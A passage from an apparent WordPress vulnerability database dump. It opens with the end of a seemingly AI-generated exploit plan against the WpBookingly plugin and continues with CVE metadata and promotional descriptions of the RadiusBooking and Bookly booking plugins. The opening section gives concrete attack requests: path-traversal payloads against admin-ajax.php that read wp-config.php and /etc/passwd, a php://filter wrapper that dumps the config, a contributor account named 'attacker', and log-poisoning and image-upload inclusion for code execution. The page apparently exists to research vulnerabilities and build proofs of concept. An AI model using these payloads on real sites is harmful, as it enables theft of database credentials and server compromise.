    wp_die();\n   }\n   ```\n6. **Traversal:** Using `..\u002F` allows escaping the intended directory.\n\n## 4. Nonce Acquisition Strategy\nWpBookingly typically localizes a nonce for its admin interface. To obtain it:\n\n1. **Shortcode\u002FPage Requirement:** Identify where the plugin's admin scripts are loaded. Usually, any admin page for a Contributor will load them if the plugin is active.\n2. **Create Test Page:**\n   ```bash\n   wp post create --post_type=page --post_status=publish --post_title=\"Booking View\" --post_content='[wpbookingly_shortcode]'\n   ```\n3. **Extraction Steps:**\n   - Log in as the Contributor user.\n   - Navigate to the WordPress dashboard or a page where the plugin is active.\n   - Use `browser_eval` to extract the nonce.\n   - **Target Variable:** `wpbookingly_admin_params` (Inferred)\n   - **Target Key:** `nonce`\n   - **Command:** `browser_eval(\"window.wpbookingly_admin_params?.nonce\")`\n\n## 5. Exploitation Strategy\n\n### Step 1: Authentication\nAuthenticate as a Contributor user using the `http_request` tool to obtain session cookies.\n\n### Step 2: Nonce Extraction\nNavigate to the dashboard and extract the nonce using the strategy in Section 4.\n\n### Step 3: LFI Payload (Info Disclosure)\nAttempt to read `\u002Fetc\u002Fpasswd`. We assume the plugin appends `.php`, so we use a null-byte bypass (if PHP version allows) or target `wp-config` which is more likely to work if the plugin adds `.php`.\n\n**Request 1 (Targeting wp-config):**\n- **Method:** POST\n- **URL:** `http:\u002F\u002Flocalhost:8080\u002Fwp-admin\u002Fadmin-ajax.php`\n- **Body (URL-Encoded):**\n  `action=wpbookingly_get_view&nonce=[NONCE]&view=..\u002F..\u002F..\u002F..\u002Fwp-config`\n- **Note:** If the plugin includes `view . '.php'`, this will attempt to include `wp-config.php`.\n\n**Request 2 (Targeting \u002Fetc\u002Fpasswd - Path Traversal):**\n- **Body (URL-Encoded):**\n  `action=wpbookingly_get_view&nonce=[NONCE]&view=..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002Fetc\u002Fpasswd%00`\n- **Note:** Use enough `..\u002F` to reach the root directory.\n\n### Step 4: Verification of LFI\nCheck the HTTP response body for the contents of the target file (e.g., `DB_NAME` from `wp-config.php` or `root:x:0:0` from `\u002Fetc\u002Fpasswd`).\n\n## 6. Test Data Setup\n1. **User Creation:**\n   ```bash\n   wp user create attacker attacker@example.com --role=contributor --user_pass=password123\n   ```\n2. **Plugin Configuration:** Ensure WpBookingly (service-booking-manager) version 1.2.9 is installed and activated.\n\n## 7. Expected Results\n- **Success:** The HTTP response body contains the raw source code of `wp-config.php` (if it fails to execute) or the rendered output of the included file. In many LFI cases in WordPress, including `wp-config.php` results in a blank response (because it's executed) OR an error if it's included twice, but including `\u002Fetc\u002Fpasswd` or a log file will display text.\n- **Indicator:** Looking for strings like `root:x:0:0` or `DB_PASSWORD`.\n\n## 8. Verification Steps\n1. **Verify Response:** Inspect the output of the `http_request` tool.\n2. **Cross-Check with WP-CLI:**\n   ```bash\n   # Confirm the relative path from the plugin to wp-config.php\n   find \u002Fvar\u002Fwww\u002Fhtml\u002F -name \"wp-config.php\"\n   ```\n\n## 9. Alternative Approaches\n- **Log File Inclusion:** If `wp-config.php` cannot be read, attempt to include `\u002Fvar\u002Flog\u002Fapache2\u002Faccess.log` or `\u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fdebug.log` after poisoning them with a PHP payload via a User-Agent header.\n- **Filter Wrapper:** Try PHP filters to encode the target file:\n  `view=php:\u002F\u002Ffilter\u002Fconvert.base64-encode\u002Fresource=..\u002F..\u002F..\u002F..\u002Fwp-config`\n  This will return the base64-encoded content of `wp-config.php`, bypassing execution.\n- **Upload + Include:** If the plugin allows Contributors to upload images for \"services,\" upload a JPEG with a PHP payload and include it:\n  `view=..\u002F..\u002F..\u002F..\u002Fuploads\u002Fwpbookingly\u002Fyour-image.jpg`","gemini-3-flash-preview","2026-04-19 04:07:37","2026-04-19 04:08:02",{"id":57,"url_slug":58,"title":59,"description":60,"plugin_slug":4,"theme_slug":38,"affected_versions":61,"patched_in_version":38,"severity":62,"cvss_score":63,"cvss_vector":64,"vuln_type":65,"published_date":66,"updated_date":67,"references":68,"days_to_patch":38,"patch_diff_files":70,"patch_trac_url":38,"research_status":38,"research_verified":50,"research_rounds_completed":71,"research_plan":38,"research_summary":38,"research_vulnerable_code":38,"research_fix_diff":38,"research_exploit_outline":38,"research_model_used":38,"research_started_at":38,"research_completed_at":38,"research_error":38,"poc_status":38,"poc_video_id":38,"poc_summary":38,"poc_steps":38,"poc_tested_at":38,"poc_wp_version":38,"poc_php_version":38,"poc_playwright_script":38,"poc_exploit_code":38,"poc_has_trace":50,"poc_model_used":38,"poc_verification_depth":38},"CVE-2025-32607","wpbookingly-unauthenticated-php-object-injection","WpBookingly \u003C= 1.2.1 - Unauthenticated PHP Object Injection","The WpBookingly plugin for WordPress is vulnerable to PHP Object Injection in versions up to, and including, 1.2.1 via deserialization of untrusted input. This makes it possible for unauthenticated attackers to inject a PHP Object. No known POP chain is present in the vulnerable software. If a POP chain is present via an additional plugin or theme installed on the target system, it could allow the attacker to delete arbitrary files, retrieve sensitive data, or execute code.","\u003C=1.2.1","critical",9.8,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:N\u002FUI:N\u002FS:U\u002FC:H\u002FI:H\u002FA:H","Deserialization of Untrusted Data","2025-04-10 00:00:00","2025-04-23 17:24:01",[69],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002F5846b5d9-5b69-47b0-b787-6a3416a5076e?source=api-prod",[],0,{"slug":7,"display_name":7,"profile_url":8,"plugin_count":73,"total_installs":74,"avg_security_score":75,"avg_patch_time_days":76,"trust_score":77,"computed_at":78},11,12480,85,90,78,"2026-05-20T07:11:49.527Z",[80,100,121,143,164],{"slug":81,"name":82,"version":83,"author":84,"author_profile":85,"description":86,"short_description":87,"active_installs":71,"downloaded":88,"rating":71,"num_ratings":71,"last_updated":89,"tested_up_to":16,"requires_at_least":90,"requires_php":91,"tags":92,"homepage":96,"download_link":97,"security_score":98,"vuln_count":71,"unpatched_count":71,"last_vuln_date":38,"fetched_at":99},"radius-booking","Radius Booking — Booking Calendar for Appointments & Services","1.0.6","RadiusTheme","https:\u002F\u002Fprofiles.wordpress.org\u002Ftechlabpro1\u002F","\u003Cp>RadiusBooking is the WordPress booking plugin designed to handle appointments, manage staff schedules, and keep customers happy, all while trying to grow. RadiusBooking is the WordPress booking plugin designed to handle all of this automatically.\u003C\u002Fp>\n\u003Cp>Whether you run a busy salon, medical practice, consulting firm, or home services company, RadiusBooking replaces phone calls, paper calendars, and back-and-forth emails with a streamlined appointment booking system that works 24\u002F7.\u003C\u002Fp>\n\u003Cp>\u003Cstrong>What makes RadiusBooking different?\u003C\u002Fstrong>\u003Cbr \u002F>\nOur AI-powered booking assistant lets customers schedule appointments through natural conversation. Instead of clicking through forms, they simply tell the chatbot what they need—and the booking happens automatically. It’s appointment scheduling that feels human.\u003C\u002Fp>\n\u003Cp>👉 \u003Ca href=\"https:\u002F\u002Fradiusbooking.co\u002F\" rel=\"nofollow ugc\">Plugin Demo\u003C\u002Fa> | \u003Ca href=\"https:\u002F\u002Fradiusbooking.co\u002Fdocs\u002F\" rel=\"nofollow ugc\">Documentation\u003C\u002Fa>  👈\u003C\u002Fp>\n\u003Ch3>🌟 Who is the RadiusBooking WordPress Booking Plugin For?\u003C\u002Fh3>\n\u003Cp>RadiusBooking serves any business that relies on appointments and scheduled services. Here’s how different industries use our service booking plugin:\u003C\u002Fp>\n\u003Cp>\u003Cstrong>Salons & Spas\u003C\u002Fstrong>\u003Cbr \u002F>\nHair stylists, nail technicians, massage therapists, and estheticians use RadiusBooking to let clients book their preferred services and staff members online. No more missed calls during busy appointment times.\u003C\u002Fp>\n\u003Cp>\u003Cstrong>Healthcare Providers\u003C\u002Fstrong>\u003Cbr \u002F>\nDoctors, dentists, clinics, chiropractors, and therapists streamline patient scheduling with automated confirmations and reminders. HIPAA-conscious businesses appreciate the secure customer management features.\u003C\u002Fp>\n\u003Cp>\u003Cstrong>Home Services\u003C\u002Fstrong>\u003Cbr \u002F>\nRoofing contractors, plumbers, electricians, HVAC technicians, and cleaning services use the booking calendar for WordPress to let homeowners request service appointments directly from their websites.\u003C\u002Fp>\n\u003Cp>\u003Cstrong>Education & Tutoring\u003C\u002Fstrong>\u003Cbr \u002F>\nPrivate tutors, music teachers, language instructors, and academic coaches manage student sessions efficiently. Recurring appointment features make weekly lessons simple to schedule.\u003C\u002Fp>\n\u003Cp>\u003Cstrong>Fitness & Wellness\u003C\u002Fstrong>\u003Cbr \u002F>\nPersonal trainers, yoga studios, pilates instructors, and gym facilities handle class bookings and one-on-one training sessions. Multiple staff calendars keep everyone’s schedule organized.\u003C\u002Fp>\n\u003Cp>\u003Cstrong>Consultation Businesses\u003C\u002Fstrong>\u003Cbr \u002F>\nConsultants, lawyers, accountants, financial advisors, and marketing agencies offer professional appointment booking directly through their WordPress sites. Accept deposits to reduce no-shows.\u003C\u002Fp>\n\u003Cp>\u003Cstrong>Coaches & Advisors\u003C\u002Fstrong>\u003Cbr \u002F>\nLife coaches, business mentors, career counselors, and wellness advisors provide seamless booking experiences that match their professional brand.\u003C\u002Fp>\n\u003Cp>\u003Cstrong>The common thread?\u003C\u002Fstrong> Every service business saves hours each week when appointment scheduling runs on autopilot.\u003C\u002Fp>\n\u003Ch3>🌟 Why Choose Radius Booking?\u003C\u002Fh3>\n\u003Cp>\u003Cstrong>Simple for Your Customers\u003C\u002Fstrong>\u003Cbr \u002F>\nYour clients can book appointments quickly without confusion. The clean interface works perfectly on phones, tablets, and computers.\u003C\u002Fp>\n\u003Cp>\u003Cstrong>Powerful for Your Business\u003C\u002Fstrong>\u003Cbr \u002F>\nManage your entire booking operation from one dashboard. Track appointments, staff schedules, services, and payments in one place.\u003C\u002Fp>\n\u003Cp>\u003Cstrong>AI That Actually Helps\u003C\u002Fstrong>\u003Cbr \u002F>\nThe Pro version includes intelligent features that learn from your booking patterns. Get smart recommendations and automated optimizations that save you time.\u003C\u002Fp>\n\u003Ch3>🚀 Key Features\u003C\u002Fh3>\n\u003Cp>RadiusBooking’s free version includes everything you need to start accepting appointments today.\u003C\u002Fp>\n\u003Cp>\u003Cstrong>Schedule Settings\u003C\u002Fstrong>\u003Cbr \u002F>\nConfigure your business hours with precision. Set time and date formats that match your locale, define weekly schedules, mark special dates, and block off days when you’re unavailable. Your booking calendar automatically reflects your real availability.\u003C\u002Fp>\n\u003Cp>\u003Cstrong>Calendar View\u003C\u002Fstrong>\u003Cbr \u002F>\nSee your entire appointment landscape at a glance. The visual calendar interface displays all bookings across staff members, making it easy to spot openings, identify busy periods, and plan your week effectively.\u003C\u002Fp>\n\u003Cp>\u003Cstrong>Appointment Management\u003C\u002Fstrong>\u003Cbr \u002F>\nTake control of every booking from one central dashboard. View appointment details, reschedule when needed, mark completed sessions, and maintain a complete history of customer interactions.\u003C\u002Fp>\n\u003Cp>\u003Cstrong>Customer Management\u003C\u002Fstrong>\u003Cbr \u002F>\nBuild lasting relationships with organized customer records. Store contact information, track booking history, add notes, and understand your clients’ preferences—all from the customer management panel.\u003C\u002Fp>\n\u003Cp>\u003Cstrong>Payment Processing\u003C\u002Fstrong>\u003Cbr \u002F>\nGet paid when appointments are booked, not after. Accept online payments through PayPal integration, or offer offline payment options for customers who prefer to pay in person. Flexible payment settings adapt to how your business operates.\u003C\u002Fp>\n\u003Cp>\u003Cstrong>Service Management\u003C\u002Fstrong>\u003Cbr \u002F>\nCreate your complete service menu with detailed listings:\u003C\u002Fp>\n\u003Cul>\n\u003Cli>Define unlimited services with descriptions\u003C\u002Fli>\n\u003Cli>Organize services into logical categories\u003C\u002Fli>\n\u003Cli>Set accurate duration for each service type\u003C\u002Fli>\n\u003Cli>Configure pricing (fixed or variable)\u003C\u002Fli>\n\u003Cli>Add buffer time between appointments for preparation\u003C\u002Fli>\n\u003Cli>Enable service-specific integrations\u003C\u002Fli>\n\u003C\u002Ful>\n\u003Cp>\u003Cstrong>Staff Management\u003C\u002Fstrong>\u003Cbr \u002F>\nCoordinate your entire team from one system:\u003C\u002Fp>\n\u003Cul>\n\u003Cli>Add unlimited staff members with individual profiles\u003C\u002Fli>\n\u003Cli>Assign specific services to each team member\u003C\u002Fli>\n\u003Cli>Set personalized working hours per staff member\u003C\u002Fli>\n\u003Cli>Configure individual off-days and vacation schedules\u003C\u002Fli>\n\u003Cli>Create special schedules for holidays or events\u003C\u002Fli>\n\u003C\u002Ful>\n\u003Cp>\u003Cstrong>Email Notifications\u003C\u002Fstrong>\u003Cbr \u002F>\nKeep everyone informed automatically. When a booking is made, confirmed, or changed, RadiusBooking sends email notifications to:\u003C\u002Fp>\n\u003Cul>\n\u003Cli>Business administrators\u003C\u002Fli>\n\u003Cli>Assigned staff members\u003C\u002Fli>\n\u003Cli>Customers\u003C\u002Fli>\n\u003C\u002Ful>\n\u003Cp>Customize notification content to match your brand voice.\u003C\u002Fp>\n\u003Cp>\u003Cstrong>Integrations\u003C\u002Fstrong>\u003Cbr \u002F>\nConnect RadiusBooking with tools you already use:\u003C\u002Fp>\n\u003Cul>\n\u003Cli>\u003Cstrong>Google Calendar\u003C\u002Fstrong> — Sync appointments to staff Google Calendars\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Google Meet\u003C\u002Fstrong> — Auto-generate video meeting links for virtual appointments\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Zoom\u003C\u002Fstrong> — Create Zoom meetings automatically (Pro)\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Apple Calendar\u003C\u002Fstrong> — Sync with Apple Calendar (Pro)\u003C\u002Fli>\n\u003C\u002Ful>\n\u003Cp>\u003Cstrong>Form Customization\u003C\u002Fstrong>\u003Cbr \u002F>\nMake the booking form look like it belongs on your website. Customize:\u003C\u002Fp>\n\u003Cul>\n\u003Cli>Color schemes and accent colors\u003C\u002Fli>\n\u003Cli>Button styles and shapes\u003C\u002Fli>\n\u003Cli>Field labels and placeholder text\u003C\u002Fli>\n\u003Cli>Typography and text styling\u003C\u002Fli>\n\u003Cli>Layout and form flow\u003C\u002Fli>\n\u003C\u002Ful>\n\u003Cp>\u003Cstrong>Multilingual Support\u003C\u002Fstrong>\u003Cbr \u002F>\nReach customers worldwide. RadiusBooking is fully translation-ready, supporting multilingual websites through standard WordPress translation methods.\u003C\u002Fp>\n\u003Cp>\u003Cstrong>Customer Dashboard\u003C\u002Fstrong>\u003Cbr \u002F>\nGive customers their own booking portal. The customer dashboard lets clients:\u003C\u002Fp>\n\u003Cul>\n\u003Cli>View upcoming appointments\u003C\u002Fli>\n\u003Cli>Review past booking history\u003C\u002Fli>\n\u003Cli>Reschedule or cancel bookings (if permitted)\u003C\u002Fli>\n\u003Cli>Manage their profile information\u003C\u002Fli>\n\u003C\u002Ful>\n\u003Cp>\u003Cstrong>Staff Dashboard\u003C\u002Fstrong>\u003Cbr \u002F>\nEmpower your team with dedicated access. Staff members can:\u003C\u002Fp>\n\u003Cul>\n\u003Cli>View their personal appointment calendar\u003C\u002Fli>\n\u003Cli>See customer details for upcoming sessions\u003C\u002Fli>\n\u003Cli>Manage their availability settings\u003C\u002Fli>\n\u003Cli>Track their schedule without admin access\u003C\u002Fli>\n\u003C\u002Ful>\n\u003Cp>\u003Cstrong>AI-Powered Booking Assistant\u003C\u002Fstrong>\u003Cbr \u002F>\nThis is where RadiusBooking truly stands apart. Our AI chatbot technology enables conversational appointment booking—customers simply describe what they need in natural language, and the assistant handles the rest.\u003C\u002Fp>\n\u003Cp>Instead of navigating forms, customers might type: “I need a haircut with Sarah next Tuesday afternoon.” The AI understands the request, checks availability, and completes the booking conversationally.\u003C\u002Fp>\n\u003Cp>It’s appointment scheduling that feels effortless.\u003C\u002Fp>\n\u003Ch3>💎 Pro Features\u003C\u002Fh3>\n\u003Cp>Unlock advanced capabilities to scale your booking operations.\u003C\u002Fp>\n\u003Cp>\u003Cstrong>Advanced Analytics\u003C\u002Fstrong>\u003Cbr \u002F>\nMake data-driven decisions with comprehensive reporting:\u003C\u002Fp>\n\u003Cul>\n\u003Cli>\u003Cstrong>Revenue Analytics\u003C\u002Fstrong> — Track earnings by service, staff member, time period, or location\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Appointment Metrics\u003C\u002Fstrong> — Monitor booking volume, cancellation rates, and peak times\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Staff Performance\u003C\u002Fstrong> — Compare productivity across team members\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Service Insights\u003C\u002Fstrong> — Identify your most popular and profitable offerings\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Customer Analytics\u003C\u002Fstrong> — Understand booking patterns and client value\u003C\u002Fli>\n\u003C\u002Ful>\n\u003Cp>Export reports and visualize trends to optimize your business strategy.\u003C\u002Fp>\n\u003Cp>\u003Cstrong>Coupons & Discounts\u003C\u002Fstrong>\u003Cbr \u002F>\nDrive bookings with promotional offers:\u003C\u002Fp>\n\u003Cul>\n\u003Cli>Create percentage-based or fixed-amount discounts\u003C\u002Fli>\n\u003Cli>Set minimum order requirements for coupon activation\u003C\u002Fli>\n\u003Cli>Limit total uses or uses per customer\u003C\u002Fli>\n\u003Cli>Configure expiration dates for urgency\u003C\u002Fli>\n\u003Cli>Apply coupons to specific services or all bookings\u003C\u002Fli>\n\u003C\u002Ful>\n\u003Cp>\u003Cstrong>Multi-Location Management\u003C\u002Fstrong>\u003Cbr \u002F>\nOperate multiple branches from one WordPress installation. RadiusBooking’s multi-location feature lets you:\u003C\u002Fp>\n\u003Cul>\n\u003Cli>Manage separate locations with individual settings\u003C\u002Fli>\n\u003Cli>Assign staff to specific branches\u003C\u002Fli>\n\u003Cli>Display location-specific availability\u003C\u002Fli>\n\u003Cli>Track performance across all locations\u003C\u002Fli>\n\u003Cli>Maintain unified customer records\u003C\u002Fli>\n\u003C\u002Ful>\n\u003Cp>Perfect for franchises, regional businesses, or practices with multiple offices.\u003C\u002Fp>\n\u003Cp>\u003Cstrong>Custom Fields\u003C\u002Fstrong>\u003Cbr \u002F>\nCollect the information you need. Add custom fields to booking forms for:\u003C\u002Fp>\n\u003Cul>\n\u003Cli>Special requests or notes\u003C\u002Fli>\n\u003Cli>Required intake information\u003C\u002Fli>\n\u003Cli>Preferences and specifications\u003C\u002Fli>\n\u003Cli>Medical or consultation questionnaires\u003C\u002Fli>\n\u003Cli>Any data specific to your services\u003C\u002Fli>\n\u003C\u002Ful>\n\u003Cp>\u003Cstrong>Tax Management\u003C\u002Fstrong>\u003Cbr \u002F>\nHandle tax compliance professionally. Configure tax rules for your services including:\u003C\u002Fp>\n\u003Cul>\n\u003Cli>Tax rates by service category\u003C\u002Fli>\n\u003Cli>Location-based tax calculations\u003C\u002Fli>\n\u003Cli>Tax display preferences\u003C\u002Fli>\n\u003Cli>Exemption handling\u003C\u002Fli>\n\u003C\u002Ful>\n\u003Cp>\u003Cstrong>Recurring Appointments\u003C\u002Fstrong>\u003Cbr \u002F>\nServe regular customers effortlessly. Enable recurring booking options so clients can schedule:\u003C\u002Fp>\n\u003Cul>\n\u003Cli>Weekly standing appointments\u003C\u002Fli>\n\u003Cli>Bi-weekly sessions\u003C\u002Fli>\n\u003Cli>Monthly check-ins\u003C\u002Fli>\n\u003Cli>Custom recurrence patterns\u003C\u002Fli>\n\u003C\u002Ful>\n\u003Cp>Ideal for ongoing services like tutoring, therapy, training, or maintenance contracts.\u003C\u002Fp>\n\u003Cp>\u003Cstrong>Deposit Payments\u003C\u002Fstrong>\u003Cbr \u002F>\nSecure bookings with upfront payments. The deposit feature lets you:\u003C\u002Fp>\n\u003Cul>\n\u003Cli>Require partial payment at booking time\u003C\u002Fli>\n\u003Cli>Set deposit amounts (percentage or fixed)\u003C\u002Fli>\n\u003Cli>Reduce no-shows with financial commitment\u003C\u002Fli>\n\u003Cli>Improve cash flow predictability\u003C\u002Fli>\n\u003Cli>Collect remaining balance at service time\u003C\u002Fli>\n\u003C\u002Ful>\n\u003Cp>\u003Cstrong>Stripe Payment Gateway\u003C\u002Fstrong>\u003Cbr \u002F>\nAccept credit card payments securely. Stripe integration provides:\u003C\u002Fp>\n\u003Cul>\n\u003Cli>Seamless checkout experience\u003C\u002Fli>\n\u003Cli>Support for all major credit cards\u003C\u002Fli>\n\u003Cli>Secure, PCI-compliant processing\u003C\u002Fli>\n\u003Cli>Automatic payment confirmations\u003C\u002Fli>\n\u003Cli>Refund management\u003C\u002Fli>\n\u003C\u002Ful>\n\u003Cp>\u003Cstrong>Premium Integrations\u003C\u002Fstrong>\u003Cbr \u002F>\nExpand your toolkit with Pro integrations:\u003C\u002Fp>\n\u003Cul>\n\u003Cli>\u003Cstrong>Zoom\u003C\u002Fstrong> — Automatically create Zoom meeting rooms for virtual appointments\u003C\u002Fli>\n\u003Cli>\u003Cstrong>Apple Calendar\u003C\u002Fstrong> — Sync staff schedules with Apple Calendar and iCloud\u003C\u002Fli>\n\u003C\u002Ful>\n\u003Ch3>⚙️ How to Use RadiusBooking\u003C\u002Fh3>\n\u003Cp>Getting RadiusBooking onto your WordPress pages takes seconds using shortcodes, Elementor widgets, or Gutenberg blocks.\u003C\u002Fp>\n\u003Cp>\u003Cstrong>Display your service list:\u003C\u002Fstrong>\u003Cbr \u002F>\n    \u003Ccode>[rtrb_service_list]\u003C\u002Fcode>\u003C\u002Fp>\n\u003Cp>\u003Cstrong>Add the booking form:\u003C\u002Fstrong>\u003Cbr \u002F>\n    \u003Ccode>[radius_booking_form]\u003C\u002Fcode>\u003C\u002Fp>\n\u003Cp>\u003Cstrong>Page Builder Support\u003C\u002Fstrong>\u003C\u002Fp>\n\u003Cp>\u003Cstrong>Elementor Users:\u003C\u002Fstrong> Drag and drop RadiusBooking widgets directly into your Elementor designs. Customize appearance using familiar Elementor controls.\u003C\u002Fp>\n\u003Cp>\u003Cstrong>Gutenberg Users:\u003C\u002Fstrong> Insert RadiusBooking blocks into the WordPress block editor. Configure settings right in the editor without switching between pages.\u003C\u002Fp>\n\u003Cp>Place booking components anywhere—dedicated booking pages, service pages, contact pages, or even in sidebars and footers.\u003C\u002Fp>\n\u003Ch3>Key Benefits\u003C\u002Fh3>\n\u003Cp>\u003Cstrong>Automate Appointment Scheduling\u003C\u002Fstrong>\u003Cbr \u002F>\nStop managing appointments manually. RadiusBooking handles booking requests, confirmations, and calendar updates automatically—even while you sleep.\u003C\u002Fp>\n\u003Cp>\u003Cstrong>Save Hours Every Week\u003C\u002Fstrong>\u003Cbr \u002F>\nReclaim time spent on phone calls, emails, and calendar management. Redirect that energy toward serving customers and growing your business.\u003C\u002Fp>\n\u003Cp>\u003Cstrong>Improve Customer Experience\u003C\u002Fstrong>\u003Cbr \u002F>\nGive customers the self-service booking experience they expect. Modern consumers want to book appointments instantly, on their schedule, without waiting for callbacks.\u003C\u002Fp>\n\u003Cp>\u003Cstrong>Accept Payments Upfront\u003C\u002Fstrong>\u003Cbr \u002F>\nSecure revenue at booking time. Online payments through PayPal and Stripe reduce no-shows and improve cash flow.\u003C\u002Fp>\n\u003Cp>\u003Cstrong>Scale With Your Business\u003C\u002Fstrong>\u003Cbr \u002F>\nStart with the free version for basic booking needs. Upgrade to Pro as you add staff, locations, and advanced requirements. RadiusBooking grows alongside your business.\u003C\u002Fp>\n\u003Cp>\u003Cstrong>Book Through Conversation\u003C\u002Fstrong>\u003Cbr \u002F>\nThe AI-powered booking assistant removes friction from scheduling. Customers describe what they need naturally, and intelligent automation handles the details.\u003C\u002Fp>\n\u003Ch3>🛠 Support and Documentation\u003C\u002Fh3>\n\u003Cp>Need help? Access comprehensive resources:\u003C\u002Fp>\n\u003Cul>\n\u003Cli>\u003Ca href=\"https:\u002F\u002Fradiusbooking.co\u002F\" rel=\"nofollow ugc\">Complete Documentation\u003C\u002Fa>\u003C\u002Fli>\n\u003Cli>\u003Ca href=\"https:\u002F\u002Fwww.youtube.com\u002F@RadiusTheme\" rel=\"nofollow ugc\">Video Tutorials\u003C\u002Fa>\u003C\u002Fli>\n\u003Cli>\u003Ca href=\"https:\u002F\u002Fwww.radiustheme.com\u002Fticket-support\u002F\" rel=\"nofollow ugc\">Submit a Ticket\u003C\u002Fa>\u003C\u002Fli>\n\u003C\u002Ful>\n\u003Cp>Join our \u003Ca href=\"https:\u002F\u002Fwww.facebook.com\u002Fgroups\u002Fradiustheme\" rel=\"nofollow ugc\">Facebook Community\u003C\u002Fa> to connect with other users and get tips.\u003C\u002Fp>\n\u003Ch3>🔥 WHAT’S NEXT\u003C\u002Fh3>\n\u003Cp>If you like The Post Grid Plugin, then consider checking out our other WordPress Plugins:\u003C\u002Fp>\n\u003Cul>\n\u003Cli>\n\u003Cp>\u003Ca href=\"https:\u002F\u002Fwordpress.org\u002Fplugins\u002Fclassified-listing\u002F\" rel=\"ugc\">Classified Lisitng\u003C\u002Fa> – Best Classified ads and Directory WordPress Plugin\u003C\u002Fp>\n\u003C\u002Fli>\n\u003Cli>\n\u003Cp>\u003Ca href=\"https:\u002F\u002Fwordpress.org\u002Fplugins\u002Fwoo-product-variation-swatches\u002F\" rel=\"ugc\">Variation Swatches\u003C\u002Fa> – Woocommerce Variation Swatches plugin converts the product variation select fields into radio, images, colors, and labels.\u003C\u002Fp>\n\u003C\u002Fli>\n\u003Cli>\n\u003Cp>\u003Ca href=\"https:\u002F\u002Fwordpress.org\u002Fplugins\u002Fwoo-product-variation-gallery\u002F\" rel=\"ugc\">Variation Gallery\u003C\u002Fa> – Woocommerce Variation Gallery plugin allows to add UNLIMITED additional images for each variation of product.\u003C\u002Fp>\n\u003C\u002Fli>\n\u003Cli>\n\u003Cp>\u003Ca href=\"https:\u002F\u002Fwordpress.org\u002Fplugins\u002Fshopbuilder\u002F\" rel=\"ugc\">ShopBuilder\u003C\u002Fa> – Elementor WooCommerce Builder Addons with 84+ widgets and 10+ modules.\u003C\u002Fp>\n\u003C\u002Fli>\n\u003Cli>\n\u003Cp>\u003Ca href=\"https:\u002F\u002Fwordpress.org\u002Fplugins\u002Ftlp-food-menu\u002F\" rel=\"ugc\">Food Menu\u003C\u002Fa> – Restaurant Menu & Online Ordering using WooCommerce.\u003C\u002Fp>\n\u003C\u002Fli>\n\u003C\u002Ful>\n","A modern booking and appointment scheduling plugin for WordPress. RadiusBooking brings AI-powered booking, staff scheduling, and payment processing to &hellip;",577,"2026-03-31T09:07:00.000Z","5.8","7.4",[20,93,21,94,95],"booking","service-booking-system","wordpress-booking-plugin","https:\u002F\u002Fradiusbooking.co","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fradius-booking.1.0.6.zip",100,"2026-04-06T09:54:40.288Z",{"slug":101,"name":102,"version":103,"author":104,"author_profile":105,"description":106,"short_description":107,"active_installs":108,"downloaded":109,"rating":110,"num_ratings":111,"last_updated":112,"tested_up_to":16,"requires_at_least":113,"requires_php":114,"tags":115,"homepage":118,"download_link":119,"security_score":110,"vuln_count":14,"unpatched_count":71,"last_vuln_date":120,"fetched_at":30},"bookly-responsive-appointment-booking-tool","Online Scheduling and Appointment Booking System – Bookly","27.4","Bookly","https:\u002F\u002Fprofiles.wordpress.org\u002Fladela\u002F","\u003Cp>\u003Cstrong>Bookly\u003C\u002Fstrong> is a free \u003Cstrong>scheduling plugin for WordPress\u003C\u002Fstrong> that allows accepting \u003Cstrong>online bookings\u003C\u002Fstrong> on your website and automating your \u003Cstrong>reservation system\u003C\u002Fstrong>. Manage your \u003Cstrong>booking calendar\u003C\u002Fstrong>, services, client base, save time and money – all in one place. Join more than 70,000 businesses all around the world that have already automated their \u003Cstrong>online booking system\u003C\u002Fstrong>!\u003C\u002Fp>\n\u003Cp>\u003Cspan class=\"embed-youtube\" style=\"text-align:center; display: block;\">\u003Ciframe loading=\"lazy\" class=\"youtube-player\" width=\"750\" height=\"422\" src=\"https:\u002F\u002Fwww.youtube.com\u002Fembed\u002FXkCrADjLt2s?version=3&rel=1&showsearch=0&showinfo=1&iv_load_policy=1&fs=1&hl=en-US&autohide=2&wmode=transparent\" allowfullscreen=\"true\" style=\"border:0;\" sandbox=\"allow-scripts allow-same-origin allow-popups allow-presentation allow-popups-to-escape-sandbox\">\u003C\u002Fiframe>\u003C\u002Fspan>\u003C\u002Fp>\n\u003Cp>\u003Cstrong>Bookly\u003C\u002Fstrong> is designed to grow your online sales and \u003Cstrong>make easy appointments\u003C\u002Fstrong>. This is a \u003Cstrong>one-stop shop\u003C\u002Fstrong> for \u003Cstrong>any businesses\u003C\u002Fstrong> from hair salons or photography to wealth management and transportation. You can \u003Cstrong>start\u003C\u002Fstrong> easily with the \u003Cstrong>free version of Bookly\u003C\u002Fstrong> and once your business scales you can operate \u003Cstrong>ultimate scheduling software\u003C\u002Fstrong> with the paid version available with the \u003Cstrong>Bookly Pro add-on\u003C\u002Fstrong>, and various add-ons.\u003C\u002Fp>\n\u003Cp>\u003Cem>\u003Cstrong>PLEASE NOTE\u003C\u002Fstrong> that online payments, unlimited number of staff members and services, and ability to install add-ons are\u003C\u002Fem> \u003Cstrong>NOT AVAILABLE\u003C\u002Fstrong> in the \u003Cstrong>free version\u003C\u002Fstrong>. If you would like to find out more about features available with the \u003Cstrong>Bookly PRO\u003C\u002Fstrong> add-on, please check our \u003Ca href=\"https:\u002F\u002Fdemo.booking-wp-plugin.com\u002F?utm_campaign=wp_description&utm_medium=cpc&utm_source=WP_ORG\u002F\" rel=\"nofollow ugc\">demo\u003C\u002Fa>.\u003C\u002Fp>\n\u003Cp>\u003Ca href=\"https:\u002F\u002Fwww.booking-wp-plugin.com\u002F?utm_campaign=wp_description&utm_medium=cpc&utm_source=WP_ORG\" rel=\"nofollow ugc\">Bookly Homepage\u003C\u002Fa> | \u003Ca 